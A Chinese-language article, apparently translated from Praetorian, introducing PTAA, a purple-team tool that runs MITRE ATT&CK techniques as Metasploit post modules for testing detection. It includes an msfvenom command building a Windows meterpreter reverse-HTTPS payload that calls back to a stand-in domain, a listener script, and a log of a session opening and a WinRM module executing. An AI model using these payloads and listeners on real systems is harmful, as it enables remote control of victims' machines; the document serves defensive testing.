PTAA：一款功能强大的紫队自动化渗透测试工具

为了评估安全检测与事件响应能力，我们正在尝试寻找一种自动化模拟对手攻击策略的方式。通过研究，我们设计出了MITRE ATT&CK™ TTPs，并以Metasploit Framework的模块形式呈现-post模块。目前，我们已经可以自动化模拟出超过100 种TTPs了。

Metasploit的优势就在于其稳定健壮且丰富的功能库，该框架所带的模块能够与操作系统API直接交互，而且灵活易于扩展。除此之外，我们还可以利用Metasploit的execute_powershell模块来模拟出类似.NET内存中执行之类的功能。这将允许蓝队确保他们的工具在检测到特定TTP行为时能够有效发出警报，并不会执行特定代码或操作。（例如已编码的PowerShell）

我们的工具基于最新版本的Metasploit开发（2019年4月9日版：【 Metasploit下载地址 】）。在实现自动化机制的过程中，我们尽可能地减少了对Metasploit框架源码的修改量，以此来保证用户能够体验到接近原生的Metasploit。

工具安装

C2服务器-注册并搭建一台云虚拟机设备：【 GCP传送门 】。

DNS-选择一个域名并在DNS中注册，推荐使用CloudFlare：【 CloudFlare传送门 】。

SSL-我们建议大家使用有效的SSL证书来进行测试操作，推荐使用LetsEncrypt：

exportDNS_NAME="mytestdomain.com"
wgethttps://dl.eff.org/certbot-auto
chmoda+x ./certbot-auto
./certbot-auto-q
./certbot-autocertonly -d $DNS_NAME --standalone --register-unsafely-without-email -n--agree-tos

Debian/Ubuntu

安装源： https://github.com/rapid7/metasploit-framework/tree/master/docker

安装docker：

curl-fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
apt-keyfingerprint 0EBFCD88
add-apt-repository\
   "deb [arch=amd64]https://download.docker.com/linux/debian jessie stable"
apt-get-y update
apt-get-y install docker-ce

获取项目源码：

git clone [email protected]:praetorian-inc/purple-team-attack-automation.git
cd purple-team-attack-automation

修改LHOST以及对外端口：

echo"version: '3'
services:
  ms:
    environment:
    # example of setting LHOST
      LHOST: 0.0.0.0
    # example of adding more ports
    ports:
      - 8080:8080
      - 443:443
      - 80:80
"> docker-compose.local.override.yml

设置COMPOSE_FILE环境变量，加载本地文件：

echo"COMPOSE_FILE=./docker-compose.yml:./docker-compose.override.yml:./docker-compose.local.override.yml">> .env

构建容器：

docker -composebuild

运行容器：

./docker/bin/msfconsole

修改metasploit目录权限：

chmod-R ugo+rw ~/.msf4
Payload
cd ~
curlhttps://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb> msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall
msfvenom-p windows/x64/meterpreter_reverse_https lhost=mytestdomain.com lport=443 -ax64 -f exe HandlerSSLCert=~/purple-team-attack-automation/MSF.pemStagerVerifySSLCert=true -o ~/attack-testing.exe

监听器

你可以使用样本资源脚本来开启监听器：

$echo '<ruby>
print_status("StartingHTTPS listener for Windows x64 meterpreter on port 443.")
run_single("useexploit/multi/handler")
run_single("setpayload windows/x64/meterpreter_reverse_https")
run_single("setlport 443")
run_single("setHandlerSSLCert MSF.pem")
run_single("setExitOnSession false")
run_single("setStagerVerifySSLCert true")
run_single("exploit-j")
</ruby>'> ~/purple-team-attack-automation/scripts/resource/windows_listener.rc

监听器开启后，payload将以管理员权限运行并发送回调信息。

使用模块

msf5auxiliary(scanner/smb/impacket/secretsdump) > resource windows_listener.rc
[*]Processing /usr/src/metasploit-framework/scripts/resource/windows_listener.rcfor ERB directives.
[*]resource (/usr/src/metasploit-framework/scripts/resource/windows_listener.rc)>Ruby Code (270 bytes)
[*]Starting HTTPS listener for Windows x64 meterpreter on port 443.
payload=> windows/x64/meterpreter_reverse_https
lport=> 443
lhost=> 0.0.0.0
[*]Exploit running as background job 0.
[*]Exploit completed, but no session was created.
msf5exploit(multi/handler) >
[*]Started HTTPS reverse handler on https://0.0.0.0:443
[*]https://0.0.0.0:443 handling request from 192.168.137.11; (UUID: czgdxj3z)Redirecting stageless connection from/2F-7ig9OfztlUGRSOeTJogLC1HD_4Yf2RGj-ZlWaPE6oCIdO_nvk_GC913H-gXl7lhXUXYcn withUA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*]https://0.0.0.0:443 handling request from 192.168.137.11; (UUID: czgdxj3z)Attaching orphaned/stageless session...
[*]Meterpreter session 1 opened (172.18.0.3:443 -> 192.168.137.11:52012) at2019-04-15 16:10:27 +0000
 
msf5post(windows/purple/t1005) > use post/windows/purple/t1028
msf5post(windows/purple/t1028) > info
 
       Name: Windows Remote Management (T1028)Windows - Purple Team
     Module: post/windows/purple/t1028
   Platform: Windows
       Arch:
       Rank: Normal
 
Providedby:
  Praetorian
 
Compatiblesession types:
  Meterpreter
 
Basicoptions:
  Name    Current Setting                                                      Required  Description
  ----    ---------------                                                      --------  -----------
  CLEANUP true                                                                 yes       Close any instances ofcalc
  CMD     winrm qc -q & winrm i c wmicimv2/Win32_Process@{CommandLine="calc"}  yes       Command to execute
  SESSION 1                                                                    yes       The session to run thismodule on.
 
Description:
  Execution, Lateral Movement: Windows RemoteManagement (WinRM) is
  the name of both a Windows service and aprotocol that allows a user
  to interact with a remote system (e.g., runan executable, modify
  the Registry, modify services). It may becalled with the winrm
  command or by any number of programs such asPowerShell.
 
References:
  CVE: Not available
  https://attack.mitre.org/wiki/Technique/T1028
 
msf5post(windows/purple/t1028) > exploit
 
[+]Found an instance of Calculator running. Killing it.
[*]Executing 'cmd /c winrm qc -q & winrm i c wmicimv2/Win32_Process@{CommandLine="calc"}' on #<Session:meterpreter192.168.137.11:52012 (10.0.2.15) "PURPLEDEV\Administrator @DESKTOP-1">
[!]WinRM service is already running on this machine.
WSManFault
    Message
        ProviderFault
            WSManFault
                Message = WinRM firewall exceptionwill not work since one of the network connection types on this machine is setto Public. Change the network connection type to either Domain or Private andtry again.
 
Errornumber:  -2144108183 0x80338169
WinRMfirewall exception will not work since one of the network connection types onthis machine is set to Public. Change the network connection type to eitherDomain or Private and try again.
create_OUTPUT
    ProcessId = 5456
    ReturnValue = 0
 
[+]Module T1028W execution successful.
[+]Found an instance of Calculator running. Killing it.
[+]Found an instance of Calculator running. Killing it.
[*]Post module execution completed
msf5post(windows/purple/t1028) >

* 参考来源： praetorian ，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM